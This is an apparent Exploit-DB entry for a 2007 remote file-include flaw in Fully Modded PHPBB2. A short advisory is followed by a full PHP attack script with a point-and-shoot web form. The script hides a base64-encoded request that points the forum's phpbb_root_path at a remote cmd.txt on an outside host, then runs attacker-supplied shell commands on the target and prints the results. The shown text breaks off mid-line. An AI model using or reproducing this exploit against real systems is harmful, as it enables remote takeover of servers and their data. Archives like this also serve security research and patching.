Fully Modded PHPBB2 - 'phpbb_root_path' Remote File Inclusion

EDB-ID:

29869




Platform:

PHP

Date:

2007-04-19


source: https://www.securityfocus.com/bid/23565/info

Fully Modded PHPBB2 is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

<?php
/************************************************/
/* Fully Moded PHPBB2 Command Execution Exploit */
/*     By : HACKERS PAL <security@soqor.net>    */
/*          Website : WwW.SoQoR.NeT             */
/************************************************/

error_reporting(0);
ini_set("max_execution_time",0);
Function
get_page($url){if(function_exists("file_get_contents")){$contents=file_get_contents($url);}else{$fp=fopen("$url","r");while($line=fread($fp,1024)){$contents=$contents
.$line;}}return$contents;}
Echo "<body bgcolor=\"#000000\" text=\"#00FF00\">\n<title>Fully Moded PHPBB2 Command Execution Exploit by : HACKERS PAL :: WwW.SoQoR.NeT ::</title>\n\r"."<h2>Fully
Moded PHPBB2 Command Execution\n\r"."<h3>By : HACKERS PAL [security@soqor.net]\n\r"."<h3>VisiT My Website [<a href=\"http://WwW.SoQoR.NeT\">WwW.SoQoR.NeT</a>]\n\r";
     $expl=base64_decode("c3Vic2NwLnBocD9waHBiYl9yb290X3BhdGg9aHR0cDovL3BzZXZpbC5nb29nbGVwYWdlcy5jb20vY21kLnR4dD8=");
     $action=$_GET['action'];
     if($action == "")
     {
      echo "<form action=\"$PHP_SELF?action=2\" method=\"post\">\n     Web URL  -- Example : http://localhost/FullyModed\n     <br> <input type=\"text\" name=\"url\"
style=\"width:250\">\n     <br>     <br>\n     Command : <br> <textarea name=\"query\" cols=\"70\" rows=\"5\">&lt;/textarea&gt;\n     <br>\n     <br>       <div
align=\"center\">\n     <input type=\"submit\">       </div>\n     </form>\n     ";
     }
     else
     {
     $exploit=$_POST['url']."/".$expl."&cmd=".$_POST['query'];

     $page=get_page($exploit);
     if(!eregi("hacking attempt",$page))
     {
      Echo "<h1> Command Successfully executed .. Result is</h1> $page <br> Thanks For Using This exploit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